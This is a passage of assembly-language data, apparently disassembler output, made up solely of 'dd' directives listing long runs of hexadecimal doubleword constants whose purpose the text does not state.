3EA1177h, 835A96EFh, 0FF00EA01h dd 81BE0367h, 71D1EA3Ch, 3A967A5Eh, 0A2AA2458h, 0B53D268Ah dd 27744D78h, 3E67D729h, 4FDFD273h, 2F0CDA98h, 8E3562E1h dd 73AC398Dh, 1727B959h, 6457EB76h, 69CB4DB6h, 9F63898h dd 0CA6AFD14h, 3230CDB9h, 7D7A7DE6h, 1C9DDFF8h, 4BE94535h dd 0A97364DFh, 949D3EBDh, 8E7995E3h, 5F280A03h, 8695B604h dd 2E9EF2E1h, 0D8B586CEh, 0CC7428C2h, 0DE566C47h, 421EBB9Dh dd 0F22325C5h, 2AD7D969h, 0E0823F97h, 0DE42EF2Ah, 0C2143AE3h dd 0B07DA648h, 80A8A908h, 66046A0Ch, 1E958EBAh, 14E63A29h dd 0DE142A4h, 0ED085F89h, 0B909FB81h, 0E2937974h, 0E1F7EBA9h dd 0FF6F5264h, 275FCCD2h, 7769CCD7h, 0C5D4F572h, 3AB7FAD9h dd 2511A4FDh, 2F318CA6h, 2809A9C2h, 28597569h, 0AB7DCE55h dd 0C7C36A2Eh, 6DA813FCh, 55262A7Dh, 0EA0C74EBh, 0E816C290h dd 71F42A37h, 0EEBFC2B7h, 0C243202Ch, 891FB262h, 3C3BAF8Eh dd 68AF180Fh, 804E6D4Eh, 0D1117614h, 0F8165262h, 454101D4h dd 0D8D3BA32h, 0A9E12978h, 0E2C26BCAh, 24CAA166h, 59385E65h dd 0FC8C361Ah, 89377F94h, 8F9323C4h, 0D5CBBE06h, 961CF33h dd 9A0E64D9h, 3F001282h, 0D20FB581h, 29A2B53h, 881B8950h dd 0B40C5FDh, 0C64714B3h, 0C73E3E0h, 7D693061h, 97A8D710h dd 7A92C606h, 457BC4B2h, 3BC2DCA7h, 0C7268EFFh, 25D39BB0h dd 554DD1B8h, 0E998A607h, 73FA354Dh, 2F73C1DDh, 21347B22h dd 168A550Eh, 0C5F54D0Dh, 0D5643351h, 2235E7C3h, 0AA0F0BD2h dd 0B3B36219h, 0FB020F0Bh, 0CEC80B19h, 5018B015h, 71E7B597h dd 737AD759h, 3AE490EFh, 1F9A0F25h, 0C1C1EFC0h, 0B69A2C7Fh dd 13B73784h, 0FD41EE09h, 6DBD9610h, 5F4C3F10h, 16749875h dd 69386EF5h, 24A6A24Dh, 0C0227F93h, 29B39C67h, 0FDA29B61h dd 0E0B54328h, 772822F9h, 90FCE488h, 1BF8D501h, 993BF376h dd 0E37F2074h, 17BEB1FFh, 9F30BDECh, 651D882h, 697D0480h dd 9FEA0CF4h, 7A3D83CDh, 3F60B31Ch, 24ACED69h, 0DC9751D8h dd 580622F6h, 0DC6AC196h, 8706C68Fh, 0B5681905h, 0CBC2EC3Fh dd 4AEDA94Fh, 0E824634Dh, 58CDF89Dh, 0A6D1972Bh, 0E5BD9807h dd 20AB92B4h, 754BB75Ch, 0FABFB3Dh, 0E0904C2h, 0D1D79514h dd 0C1A358ABh, 17CE09BCh, 695D1210h, 0D17B2FE9h, 6200C062h dd 0C2D11176h, 70BAFFD6h dd 980D6240h, 6F019875h, 684D689Ch, 0C2D98936h, 0A47BE406h dd 0FA6C185Ah, 9624C185h, 43C6FA66h, 252C8C34h, 290EAF87h dd 63312785h, 4C28997Bh, 8AF56B04h, 0AEA0150Bh, 0D4A7CA2Fh dd 18E916F3h, 49CB2839h, 0D9C36E8Ch, 91E31DC3h, 0A64787FAh dd 88E6777Ah, 0FA23629Ch, 44EED5E4h, 535DA23Bh, 529CCB8Eh dd 9F47C5B1h, 0A7F1EDE3h, 0A171FF0h, 703C4018h, 6E3D4683h dd 1676DD0Bh, 0F36F80AFh, 468FA232h, 0B5AA8921h, 7F9D9269h dd 0F668D4A8h, 6F0A710h, 2D1AE7A3h, 0C08A21DFh, 0B24DE684h dd 0E2CBF536h, 3997D72Dh, 0B0A5BAE7h, 37E53F15h, 0AC26FE70h dd 72513B1Fh, 72C1F721h, 6AC43C0Ah, 338CBB64h, 5441BC8Ch dd 7AA434B7h, 0CF32F525h, 0D40B9019h, 50761817h, 3DDA2E92h dd 336FE65Ch, 373EE089h, 4A2F9BA5h, 8C71E1F9h, 346DAB9h dd 6B16F30Ah, 75A96F0Ch, 0FBF00B7Eh, 52CA0FBEh, 0D8E84239h dd 0B315FDF7h, 7D84AAC1h, 0B8CB70DAh, 0F2DA3FCBh, 8E74B995h dd 0C44227AFh, 0F6FEBF6Bh, 0B57C7D69h, 3AA06866h, 6DC00A3Dh dd 0E4FC1F14h, 4F50D865h, 0A7F180B9h, 35AC06Fh, 0F2DCBF99h dd 23AC4552h, 64138CD0h, 27DFCB93h, 0D30373B6h, 8B8FF2E8h dd 37C0A8D4h, 7DE4AB39h, 0A62F59A0h, 0AC628F0Fh, 0DDBC268Dh dd 0CBC90D1Fh, 99C438EAh, 97C4723Dh, 1BDE27D8h, 542B3D4h dd 93B9081Ah, 1A6674DEh, 7EEAFC1Fh, 7A1C91C7h, 8DD0BF24h dd 7101699h, 61C92073h, 7DA8FFBDh, 39BB2155h, 0A84DEFDAh dd 5ABF56FBh, 0C769CB23h, 6939AF9Bh, 8C54097Fh, 0FF16C108h dd 7FD50477h, 452BE134h, 10536640h, 7376D590h, 0F4B0F457h dd 543AAEF2h, 8E41C4FBh, 7164FEB3h, 0F1CB64E6h, 87E86181h dd 0D7EC3BDEh, 0D488903Ah, 5FD51C9Ah, 8CEC96DBh, 4B7928Fh dd 985C1DF9h, 2BE846F4h, 0C45914A0h, 43D28501h, 2BED3197h dd 0C616E0A1h, 2EA713E4h, 0F8E4954Ch, 0CF6AA1D5h, 0EFC74404h dd 0B5A53649h, 69A936ABh, 97C173E2h, 46498C33h, 0C2637FB3h dd 0B590D8BAh, 4747C22Bh, 4BA796B8h, 237CD661h, 0C0B566Fh dd 0B551A733h, 278A9FB5h, 76709505h, 2EA4AD6Bh, 8739A4C7h dd 49A190F8h, 5FA8658Bh, 5FD8D76Bh, 0AD756DA6h, 72300F5Fh dd 67FC7B34h, 5637C7E9h, 0A73B108Fh, 6634E183h, 9DA6613Eh dd 3990A707h, 0CD3E01A7h, 31A316AAh, 0B80C5FB0h, 27201F55h dd 603B6608h, 0DD781F86h, 2FB12B41h, 0F9DF2F31h, 8FE01E52h dd 8584FBC1h, 0E5454852h, 0EC1EB79Dh, 0A9BDF32h, 0B2DFD2CCh dd 38B27BA9h, 0A48945B7h, 469837C6h, 0BB4A647Ah, 846620BFh dd 0F2BBF18Eh, 0C6D23243h, 8BE40DC0h, 57602166h, 0B18B91D1h dd 6DCC62B0h, 26EE3C9Dh, 0AAA4DB7Bh, 0C2927374h, 5E2807C9h dd 0C0C4B2B1h, 627A90B0h, 9A0F38F8h, 4143C2AFh, 3D4AC9ECh dd 5067ECEBh, 0F1FF5509h, 0CC175FCAh, 46F50DBFh, 79AEDB0Ah dd 0C9127850h, 1091F808h, 1018553Bh, 30B788A2h, 92843AC5h dd 22FF2ED7h, 883994D9h, 4D9DE25Bh, 82AAE6B9h, 5E2475C3h dd 6B60BC1h, 0F2A72051h, 0BE813015h, 0BA8CC762h, 0F3E7C6DAh dd 934C09F5h, 37061781h, 93C526B5h, 6B4D1E8Eh, 1C8C554Fh dd 0E4088FDCh, 8F2E21E2h, 42F783A6h, 1A903D9Bh, 86DCDBACh dd 64E26BECh, 303B90BDh, 0ECB1401Fh, 0B9CE546Ch, 5CA4E9A4h dd 7701E556h, 634B4448h, 0AA3E617Ch, 87473F12h, 0BEE7B88Ah dd 7811885Fh, 0A7A9309Ah, 0BAF282A8h, 0F8895083h, 516767C9h dd 0B07645B4h, 97641DF9h, 0CC475759h, 7C13222Bh, 0F48EB6A0h dd 2FF4F8DAh, 4BF007A5h, 5A0AAEBBh, 0C38685C7h, 7F0AFABEh dd 0D82007A2h, 99E80CA2h, 6109088Ah, 0D124BC95h, 0CCFA540h dd 733B38BAh, 3635E9E4h, 90BA8403h, 47600E05h, 3B456FF0h dd 13F9D163h, 3B99B13h, 831DB09Ch, 3E7F2641h, 0A643F45Dh dd 4647D51Ah, 0EB512E18h, 27442BE2h, 0D5FD9D98h, 120BB361h dd 0E26760D7h, 6CFF1BE2h, 0C87FB91Ah, 0A0D89A6Bh, 32969B0Bh dd 83903014h, 4F1661CEh, 0B69EE313h, 9B414444h, 4D4389EAh dd 835A3218h, 7DE70A2Eh, 4E27A761h, 0FF256283h, 183CFF3Fh dd 8CA5C467h, 0F85C9B85h, 49B173B8h, 13421953h, 0ACA36417h dd 6FD2FBDEh, 0DE13EB1Fh, 46D57E24h, 601B0821h, 0B29D8C05h dd 0BF747ACBh, 50DC2053h, 72478BE3h, 0DB2B8696h, 0C6C6EE06h dd 67B68D22h, 0D6537DC4h, 67F4A4B9h, 2E26CD27h, 945446CAh dd 39D12D3Dh, 4915D328h, 97A5676Bh, 8A4D4DDDh, 0EF42CBBBh dd 41D500E8h, 0F2C3C484h, 924F9DB5h, 5FD8259h, 0D3DB2DBBh dd 21F8A3Ch, 8D89D4B2h, 8C5CED69h, 0C6A65762h, 50DAEE11h dd 593B0EEBh, 286B8719h, 36CCC0Ch, 795A6877h, 5A0C8C3h dd 0F9C28810h, 0B71CA71Dh, 13F0DFFh, 885AA1CCh, 37F07BDCh dd 98962F55h, 5597526Bh, 33FD660h, 0CA3408FBh, 0E3C00ED4h dd 659FCE74h, 0D181037Ch, 3BD9D417h, 0ADBC7507h, 0BCE040D4h dd 85AA1262h, 727026D8h, 51724BF0h, 8391E0Ch, 1CF90683h dd 2058C363h, 20C30798h, 0AC665B14h, 0E3847557h, 77ABC88Fh dd 0FC54677h, 24C39EBDh, 85882700h, 3070B9F6h, 0AA68E9B2h dd 6E073B68h, 70051DE8h, 810A6E3Fh, 0E674C879h, 0A0CFC09Bh dd 0AEBBF43Dh, 216872BFh, 0CE808595h, 0D1D9858Eh, 69F36B4Bh dd 60A5D37h, 6F79200Ch, 1899130h, 0E5427586h, 34486D5h dd 52092002h, 79363C02h, 0EFAAF6ACh, 15A3B4DAh, 0FF27A6Ah dd 0D804CE33h, 4DE86157h, 54048728h, 38502F51h, 8D998A27h dd 0A983B221h, 0F7D3F193h, 87222585h, 13AC5CE8h, 6DDA3C14h dd 0CC9F773Bh, 9FFD0C0Bh, 0A610A590h, 9F1DA95Fh, 99AB80A4h dd 0AE32EA1h, 692D83E7h, 8FAB885Ah, 0F97F35BFh, 0C0BBE7A7h dd 0E7A0E935h, 0FF19F7A4h, 5307A618h, 0B8B19C58h, 183E598Fh dd 334672ECh, 0C332828Dh, 90648781h, 3FF9387Dh, 0B0139EACh dd 206845CBh, 8AEE2E43h, 0DFF5CC01h, 123A9176h, 76533F65h dd 0F104F252h, 0E8E319D4h, 408756A5h, 71C0FC52h, 310CBAF4h dd 8C4045E5h, 72762355h, 0F6E91DB6h, 55D6D8CEh, 595EB42Dh dd 9D8F43E9h, 384AC7C9h, 669D280Fh, 0F2EED779h, 78854C8Bh dd 0F227CBE8h, 9963B9E7h, 67CA8543h, 0FAAECCC9h, 0F5D0FE4Bh dd 6970C9EEh, 481046B8h, 86A62E5h, 1DBD316Bh, 7387B316h dd 0FCB7AE59h, 0C49CB8A8h, 1C5D642h, 0CEF2CCD8h, 2BA8DD2Eh dd 5694531Bh, 2CD72886h, 4F6DC72h, 6057E539h, 5043D85Ah dd 9D389216h, 92A9914Ch, 0D7199FBAh, 5405C6A7h, 5F0609EAh dd 7D34ACC3h, 3BB05D08h, 0C073E420h, 6C3E906Eh, 0E4D16BE6h dd 9780FE03h, 88199D32h, 0A11DDA67h, 0A9275D4Eh, 0FA6ABDB3h dd 0E4F6625Ch, 0CD8F9BB3h, 35BC668Dh, 0EF8C495h, 264F155Dh dd 583D4ED4h, 403551D8h, 58FBAEDEh, 0F4D125BCh, 0F690768h dd 0B298C198h, 0F106657Eh, 3A9BF396h, 8DFE8765h, 9AC8E2A8h dd 3305B9A8h, 0A8BE6CB5h, 0C7600967h, 0E8562D35h, 1E231A71h dd 1A9BFE3Dh, 0A7119358h, 70541662h, 44FF3F76h, 305014D1h dd 5D56C464h, 8AC07705h, 0BE18D6DCh, 25973BF6h, 66583C90h dd 0D93484FAh, 31693C17h, 40ADFB1Dh, 447C948Eh, 0F73A2E4Bh dd 2838217Bh, 0AA84D38Ch, 38581CA8h, 39F758Bh, 0ED58DF90h dd 6346263Fh, 3C68EEFFh, 62368ED0h, 0C9FE64E5h, 0AD77107Fh dd 9CD71BA8h, 0A965C149h, 4B18E9FFh, 7A7A8D8Ah, 0A1E9147Ah dd 968B7794h, 0C6F0CF63h dd 5B458C94h, 0CAAC4FF0h, 73AB49EDh, 2A44625h, 0A1475604h dd 0B7F4F848h, 5DB71BB0h, 0B504005Bh, 0EAA2F41h, 1C4FAB9Eh dd 0F7EB7AC3h, 5781DE5Ch, 4E1CBF98h, 0F2CA5DF3h, 648098Ch dd 597B4334h, 3DCADF8Fh, 0C9EA121Dh, 0A8787F01h, 79B714CCh dd 703D99FFh, 44A4CA94h, 9A2D6E19h, 0CC9D25DCh, 0C0564078h dd 0D8803122h, 0C8099AAh, 562CF3F0h, 14B186D7h, 6A38E9C3h dd 0FC203D7h, 37CDD221h, 0C8B8E4D6h, 0E192A0D1h, 0CED1F7F6h dd 2BE7E961h, 4F562DDDh, 43DEEB97h, 1F8DFDF5h, 92650125h dd 0B1B5AA1Ah, 8E94750Bh, 321CB2FDh, 6E783B62h, 0AF7C9B0Ch dd 0E8D15281h, 1A2C5633h, 0EDBF6798h, 0C2167B56h, 249CDDC9h dd 52D4F032h, 8C38555Ch, 2F9F5223h, 6DC696B3h, 2A82126h dd 1C0972B4h, 0B99ADCD3h, 3309290Fh, 0FCE60D6Eh, 6A6DD68Dh dd 190D08B1h, 0BB80CAEBh, 63904E8Ah, 95EEA40Eh, 0F3BC2331h dd 71FB0A8Ch, 4BEAD352h, 9D207267h, 0E2158DA4h, 0E33C5D24h dd 9862717Fh, 900E574Dh, 658A844Ch, 2807064Dh, 4760C654h dd 4FB70E3Dh, 242DB7B3h, 57A7CBEh, 10F362E8h, 3E698D65h dd 1EE03BE8h, 75904502h, 429D4AF9h, 0DA9C26A4h, 278F2492h dd 52FFB67Fh, 0C3012DC7h, 5D0D3C9Fh, 82225755h, 0CDA1B68Dh dd 3632BADh, 774A83A7h, 0C6849ACFh, 825E393Dh, 0D92442BEh dd 6FDC86E1h, 9986E516h, 0B33309E7h, 0D625A155h, 0EF82CF2Ah dd 0FD8CBC21h, 7B292541h, 7D7DF067h, 0A0D860E6h, 24BB97DEh dd 4B7733DDh, 69DFAA41h, 2854E8FDh, 0AFA579E2h, 9C5518B9h dd 0CEB43F85h, 11F3F38Ah, 66E357CEh, 0A6DE2F22h, 0C741D49Eh dd 0F0108B13h, 283E63AFh, 0C52A86D2h, 0E34BF055h, 0D9CD7930h dd 97007B3Dh, 11B6AE17h, 218ED71Fh, 56131878h, 5B87D74Dh dd 0E6362B50h, 47801856h, 624E8086h, 0AE83A8CDh, 63DD3039h dd 632762C8h, 0AB878EA5h, 6461458Dh, 0C6793C8Eh, 0BC5A8754h dd 0F283A657h, 0DA8B0B92h, 5FBE9F9Ah, 36ACD43Ah, 9338E07Fh dd 987A2546h, 5E0A4A35h, 9A940AABh, 339AD2E6h, 3FEEBE94h dd 90ECA0CCh, 957FE30Eh, 9F832D73h, 182E4A8Ch, 5264F818h dd 418BF1C7h, 0E28FAC2Eh, 0EDE438DEh, 0C9C72732h, 0A947F837h dd 1AC5A830h, 7D2DBC19h, 0F21BB39Eh, 774ACE4Ah, 0AC2647D0h dd 0DB94FB45h, 44ADEAE3h, 0B3BD277Bh, 890A3B47h, 0D8EF022Dh dd 3A5D85h, 887D3E4Bh, 36080015h, 1CAFAF7Eh, 0AAE731F9h dd 684D04C8h, 64CE8127h, 0B5516B9Eh, 0F6D0B4B4h, 8BA4F607h dd 0BE9E1F96h, 0F008842Ah, 0E2DF5369h, 9B07DB55h, 6C1AD20Dh dd 0E9B3B900h, 49687EEh, 0A40D6696h, 0AF4C76DEh, 0B1C91624h dd 0C55CD6B9h, 2A11A3DCh, 74A2C706h, 0FC3C30DDh, 1AB10F20h dd 43AF7EEDh, 0EB753540h, 7A76FF7Ch, 1C59908Ah, 1C8BB1A1h dd 0CE047058h, 8A5DD9E6h, 0B776D9EAh, 85C4C20Fh, 0BB8877C1h dd 8276592Eh, 0EBD2946Ch, 87BA00CAh, 35EE54E2h, 8B065368h dd 1DACC7B4h, 24ADA5B3h, 7BDDE553h, 0C3217B16h, 0E90ACB0Fh dd 51CC446h, 0D0EBF8BCh, 3779639Dh, 399D7F1Bh, 5F100A90h dd 74E73D25h, 1771BA79h, 89D1E95Ch, 0B5C8DBD0h, 0BACAA32Dh dd 426D5E2Ch, 0AC38320h, 0B64AB6DEh, 0B967444Bh, 0B3E646C6h dd 87A65E97h, 6E3A4CF6h, 0BDB95582h, 0E03A5A5Eh, 0A7DACED0h dd 9AC3E84Eh, 472281AAh, 33DEB3A1h, 884EEBA5h, 0ED1E4A8Dh dd 4B29E25Eh, 210B5E7Dh, 5F19BC50h, 7665323Bh, 742EFB10h dd 0FF2C433Ah, 0C6C099FAh, 0C4FCC6B0h, 0FC1BE8C1h, 8054F518h dd 531233C3h, 93360C35h, 0DC75AFF8h, 959DF4Bh, 40B94A26h dd 33A21D5h, 5C51B0CCh, 0F79DA333h, 85725D3Ah, 337B9018h dd 9FADA91Fh, 44999D6Eh, 24482361h, 9D2F2410h, 67879C21h dd 0DB502236h, 0BD347E9Dh, 6E623104h, 27EF40FDh, 202189C2h dd 0DA24D3ACh, 0D32E4AA3h, 5036A3E4h, 45D81B47h, 5F7DAEC3h dd 0BFB911FFh, 74CA67A6h, 0FE54B5BEh, 53C2F682h, 4D835E19h dd 0A7E31697h, 98217183h, 51C21891h, 3087734Ch, 0F0765500h dd 0C89A38A4h, 0A6C8009Ah, 91FA11E7h, 0C1B96E10h, 0D9497831h dd 301213BDh, 0B674C5A4h, 0C11B8D1h, 5846AA2Dh, 7245EE80h dd 0A53078CCh, 0EC45821Bh, 0E544A4B2h, 1F12E24Eh, 0EC28980Ah dd 0EFB41368h, 0DEA7BB8Eh, 28FA993Ah, 6F361337h, 0D6E595BEh dd 7180295h, 6BB58A36h, 373588D1h, 0CDF239Bh, 4E7966CEh dd 9B41EBD8h, 0EAB632A9h, 91BF9E64h, 3C1EF6D8h, 0F8AD8272h dd 8E48FB9Ah, 82E89414h, 0E9ABB326h, 0DE6635CAh, 5C75F95Eh dd 2D6CFF2Dh, 0D8DD27D5h, 99B274BDh, 5A450175h, 8B18C1F9h dd 4D9070AFh, 0A2899BDAh, 251FF295h, 51F86948h, 0CC437ECAh dd 4A247F03h, 7C77D0F7h, 0D0272C7h, 0A9A9BFEDh, 0A4B29D5Ch dd 0E42F0B9Fh, 0F33A0Ch, 37CEB990h, 0DDA1B486h, 0E9012589h dd 7D7B140Eh, 51FFCAEDh, 0B164847Eh, 2594C2D4h, 8EF2173Ch dd 0B51C10EBh, 990150ECh, 0A1F33A68h, 68E5BACCh, 0EFA1FC44h dd 1806F2F3h, 1202401Bh, 5E5080BDh, 0EF2AACD9h, 0BAB56D2Ch dd 28528AD7h, 0CD4DBEF0h, 8728998Ah, 0ADABC058h, 0B128D03Bh dd 7D7901FBh, 0C5C03434h, 0CB0138C0h, 0F422DBECh, 9B1CFB37h dd 0CEA528D9h, 7F310BFCh, 1D93ED7Fh, 0E704BEE1h, 0CB274373h dd 8F5150C2h, 0C935459h, 0EDA92CABh, 0D22C79DDh, 7EA3225Bh dd 0A5E97181h, 8E14BFE5h, 8BB88F55h, 5F82B30h, 8E3FF9B1h dd 78764292h, 3D9D2003h, 0DC5A4538h, 5DD25BC4h, 23D4A7Ch dd 0B8D73D3Ch, 9CAE85DDh, 8654363Dh, 81393B17h, 44E329F2h dd 7658E5D7h, 0CAC0F4B6h, 0EA57586Ah, 248DB065h, 149FD517h dd 9798B16h, 0E5CBF4FBh, 280C26DDh, 89BFD1A6h, 956A7B3Bh dd 0E14D2BAEh, 36E19ADBh, 5CDABACh, 43790B85h, 3EA29C12h dd 87D7451Ch, 0D36AB859h, 0B4245FECh, 0A0C6A18Ch, 0D4CC2A53h dd 78215338h, 0FB3E4DE2h, 2A2A4DC0h, 0D174F16Ah, 41B87975h dd 2E4067DEh, 9B1E095h, 20043E5Dh, 0C4A314E5h, 563BDEBh dd 0B034DD82h, 75648082h, 3E6F09AAh, 0A9A52E65h, 2477765Fh dd 0C86FD5Fh, 664CD0CAh, 84FF0031h, 0BCBE5B96h, 8F2E30E4h dd 23F53C4Eh, 951C3DAEh, 6B7AA4C9h, 0EDDC2FDBh, 0EAE82042h dd 5C6A1995h, 0CBACCD5Ch, 0AF6AEAC7h, 87FD4FEh, 0EBB1167Eh dd 0A39DA06Fh, 0D9A0229Ah, 0FB3D07E4h, 0CA211BABh, 0FDE99CA2h dd 2302C3BFh, 3617B1DBh, 0BA192E32h, 3FC9C018h, 68C75A68h dd 246927B9h, 238C3146h, 4DC384Dh, 0BD2314Dh, 0DC5B655Eh dd 0F9F7F800h, 70D853F5h, 0E2A9ACB7h, 5AC4153Ah, 5AF103C3h dd 0D638A2A8h, 493BA75Fh, 7B51A18Eh, 63742159h, 8DB88982h dd 34C506D1h, 0F7B9909Ah, 5A5F4046h, 0F7E12065h, 1E26E7D1h dd 0C9CFDDE4h, 88C26C32h, 0E001820Ch, 97072F87h, 9FBA1005h dd 383C5455h, 0B3E95D48h, 0D4F7877Dh, 0CC3743C5h, 7C70D15Ch dd 88A5CBF3h, 12C61294h, 0CAD5DF18h, 40DA4D50h, 0E94D6140h dd 0A4C9EFDCh, 37A0E9CCh, 0F66F2352h, 1FB8DD41h, 0C0072A2Fh dd 708F21E5h, 0C8D7EF40h, 0C2C15CC8h, 0A64A0891h, 24013C8Bh dd 46101C70h, 0BB479E00h, 0EE2297A7h, 9910A5B6h, 0E4410A4Fh dd 0F6DBBC80h, 3531639h, 0B7A529DEh, 63B414A6h, 9AABB37Ch dd 41C0471Bh, 0CD41E7F2h, 6251A104h, 446F7E42h, 2E3F7FBCh dd 1DF10655h, 0A1E91243h, 0A48AE57Eh, 4059BD3Fh, 0BAA438Eh dd 0F209ABC2h, 54554BECh dd 91E88FDAh, 5A5400E7h, 0A26FA8B1h, 4CFA4C22h, 7C86E5A1h dd 7786185h, 2D27E1BDh, 0EAB05C2Eh, 2F976C0Bh, 8977DF1Ah dd 843F1222h, 0AF634F29h, 0F65A1ECBh, 1F71F7E1h, 0DAF2322Ch dd 958FD428h, 90DFE876h, 5C69BF6Ah, 0E8C9719Fh, 0B2BDACD9h dd 0FF5A3B19h, 80CAAA8h, 8DE9BAA9h, 0A7B62924h, 0EC83E799h dd 75C2C9B6h, 0C81D546h, 6A9E1F3Ah, 6C2A4032h, 0A676AC9h dd 0E8DF0A61h, 964B5B89h, 7370943h, 7B8E6BD1h, 0DAE72944h dd 0FC9D3026h, 712CB7E0h, 0AB89824h, 475A30ABh, 221F8475h dd 1E1F7846h, 0F7D31862h, 99E6040Eh, 104C25BCh, 5EBF407Bh dd 9BEE7D05h, 460FA228h, 2DED3CE9h, 0D4613173h, 2A405897h dd 0FE7B07E1h, 0E4E3E4CDh, 0B9A2331Eh, 39E144B8h, 66611BCAh dd 1559BA3Ch, 65FF2202h, 0A5B4EDA6h, 5016DDBh, 0DA71E0FBh dd 21D23541h, 0C8743A99h, 1A9014Ah, 50599BDh, 97DD3CB3h dd 0D86E363h, 82B00945h, 0FD97E4FBh, 303DEF58h, 0F3B8F0D3h dd 97DA8D7Ah, 94B73792h, 0E3A6BA69h, 3C9B7842h, 855B533Bh dd 0E9E1AF25h, 8F7BE01Bh, 0D3579CD7h, 0B8BA6FE3h, 120681A4h dd 7335B7E2h, 9466F5F1h, 1D193B8Fh, 3B28C124h, 283FCD9Ch dd 4A0FB467h, 0DAE2022Dh, 0C73074ADh, 0C31B6B8Eh, 0EBB52960h dd 70D07CADh, 0FA8C2347h, 7D0B360Bh, 0C4B14B09h, 7FF3DAA7h dd 0BD6F4A00h, 8A7F4A24h, 0CA6E264Ah, 0B56BAE8h, 574EAE57h dd 1DEA670Ch, 5724876Ch, 957E34A4h, 66E65752h, 5D5C6693h dd 74067B6Ch, 0F5CB68A6h, 966F4C34h, 72D951DBh, 1C14D68Eh dd 972C5F65h, 10F05256h, 11CBEF16h, 5C011AF0h, 9005DB47h dd 455879C4h, 3548E11Ch, 3A357ADh, 9DD9A2E1h, 13EB50E9h dd 0D7E7DABDh, 944A42B6h, 0C07998BCh, 2E9687A3h, 5A9F6EA3h dd 157DFA14h, 5CE7651Ch, 0CC7DAD17h, 8BEC51E7h, 0E029AC0Bh dd 0C4423E84h, 4DC67459h, 0DFE4FC24h, 6F6F9634h, 6C443C7Eh dd 387E2DBFh, 2A27D304h, 5739914Ch, 156176D1h, 5170A2D6h dd 270DC4C8h, 0E87D2462h, 0DA2B7488h, 1E59B4Dh, 8070B7AAh dd 0F6F451D2h, 0DC187F3Fh, 105535F2h, 0E5894CF5h, 682DDA93h dd 0F034C682h, 0A264D6FCh, 0FBC9DFBFh, 5B4EB7F4h, 35290BDh dd 0D920F823h, 4DE97ABAh, 0C128DCE9h, 335BE94Ah, 0EA466CB0h dd 1A4CA1C1h, 793F7438h, 46EE25CAh, 831019D9h, 0E7732FAEh dd 127A1DDAh, 1457BD43h, 9A8EA3BEh, 0B78B287Eh, 21B2B35Fh dd 0D02E6EB9h, 0D960C50Fh, 0DB93BDD9h, 83336DFEh, 0AD6AD1E2h dd 40F498D6h, 9676A836h, 4BBE2824h, 56732313h, 5DB119A7h dd 8C0FB1D4h, 0C76093BBh, 0FFEA488Bh, 54F264CAh, 326548B9h dd 9D68327Fh, 0D68FFD1Dh, 0AAAB716Bh, 0A50B2521h, 2D6EA23h dd 0A67ACF54h, 0D3730843h, 1201D2EFh, 0FD237F7Ah, 0BF47B247h dd 0B4C59388h, 52176342h, 5429E4A1h, 0AC18336Eh, 1DB8761Ch dd 0D8D32277h, 465FABB5h, 33C19CEBh, 0B558EC33h, 11C6694Fh dd 0F4826CCFh, 0F15C0659h, 0BD026554h, 30A8E915h, 1CC21506h dd 9A02F8F8h, 57164A3Ch, 0E89DC00Ah, 9B9A6596h, 0C7DFBB37h dd 1F247938h, 0E43BEB02h, 2BFB5FD0h, 354D7E32h, 2CC0E917h dd 11F5604Ah, 6B11638Bh, 5189B429h, 0B7635517h, 61F16EFDh dd 7B231F7Fh, 0B8C3A129h, 1327614Ah, 9EFCC1DFh, 51F48D56h dd 0E1438CD5h, 3934389Fh, 0CDA65FDFh, 0F6BF9DEFh, 0C37724A7h dd 288A88DDh, 0A35C4E19h, 0A28D1232h, 0EFB28B3Bh, 82465C70h dd 6E3B1D22h, 0D4001F86h, 2AC8E242h, 4692BB40h, 0C4FFD70Eh dd 0C773D431h, 0E86471A8h, 133DC6F8h, 44E757A9h, 2C788D8Ch dd 6D4EA7B9h, 0EC791FE3h, 3BE3F1D9h, 6EC19E68h, 1A97DA3Dh dd 70DD75B9h, 93B66B66h, 0BBF4710Eh, 40678DD8h, 6E42BA78h dd 0B5EBBB86h, 0EF9382B2h, 0E52AA1E9h, 5B593DEh, 0BBAC520Dh dd 0BABF9B6Ch, 0B05B9393h, 1E9ADF15h, 4738ED0Ah, 34A774C8h dd 7995FF07h, 0DBCDA4BFh, 4E7E04F6h, 0C8A19CCEh, 0C41D2650h dd 2A784495h, 1AA8BEEAh, 21A75EE7h, 306D3B57h, 7852D9AFh dd 54DE6B3Ch, 7DA041AAh, 1F4A9A36h, 513B70F0h, 0AFD11180h dd 0A31E075Dh, 719448F2h, 568C098Eh, 0A6C8FC4Eh, 0FCF12165h dd 3476B1EDh, 0A95F385Ah, 0D4128219h, 3AB8FC20h, 0BF66A881h dd 9B324320h, 0A610A30Ah, 1F0CBF26h, 0C6AFDDA4h, 5B55690Fh dd 3A67754Ch, 3407A2C5h, 74234A9Ah, 9A0A56E1h, 0BEE826F9h dd 8EEE565Ch, 27CE0E6Fh, 0FA5E38Ch, 9B8D571Ch, 891177CDh dd 0C9ADCB59h, 4081BE4Dh, 19C14D07h, 9712D6D7h, 46CBB696h dd 557FB269h, 0B9BEBB0Ch, 26586527h, 6BA80250h, 0ABD81BF0h dd 6D795551h, 0DE52D974h, 309A68CCh, 0AC524115h, 616F9395h dd 24A34E7Ch, 0BF166C0Eh, 0D0EBCC40h, 0C3C66545h, 0A743C64Bh dd 0B9FAE1F6h, 2CCA674Ah, 0BEA65311h, 282EC54Dh, 0D2F47118h dd 0EDFF501h, 8C8B3C25h, 3D64FD64h, 0DC0A81BBh, 902D7942h dd 8412FC85h, 9A7B113h, 24BE8AECh, 4AE91C24h, 0CDB88D2h dd 5435ABC0h, 9EE72AC5h, 0E34ED0FBh, 54180A8Ch, 324C8651h dd 0B925EE90h, 0BB975469h, 75554FE9h, 87527400h, 0F04CDC88h dd 0EE4AF654h, 58E8114Bh, 0B9F142A2h, 52DD1D27h, 0D659F732h dd 7E385496h, 7911F8FDh, 0B03DEDEBh, 0D746326Dh, 0D87AB8F6h dd 0C553975Fh, 0B75AA144h, 20C16229h, 0C418A12Ch, 4CF271E7h dd 0ADD168B4h, 0C459D491h, 0E249190Ah, 0E72D9A81h, 71D9C004h dd 44522F87h, 0D6E871DCh, 0F6C6D533h, 8212C70Eh, 0CD6C6B5Ah dd 0DAB630Ah, 0A79D5521h, 0FAD167B4h, 0A45CE508h, 2C4838Eh dd 5DCC24BCh, 65AD491Fh, 0FCED2281h, 0A9D85250h, 0E8466A92h dd 0E3F5A70Ch, 0B14210A5h, 8FA31288h, 20E6E3C5h, 0B567BF52h dd 96DFC850h, 9B539688h, 0DEBE4BEBh, 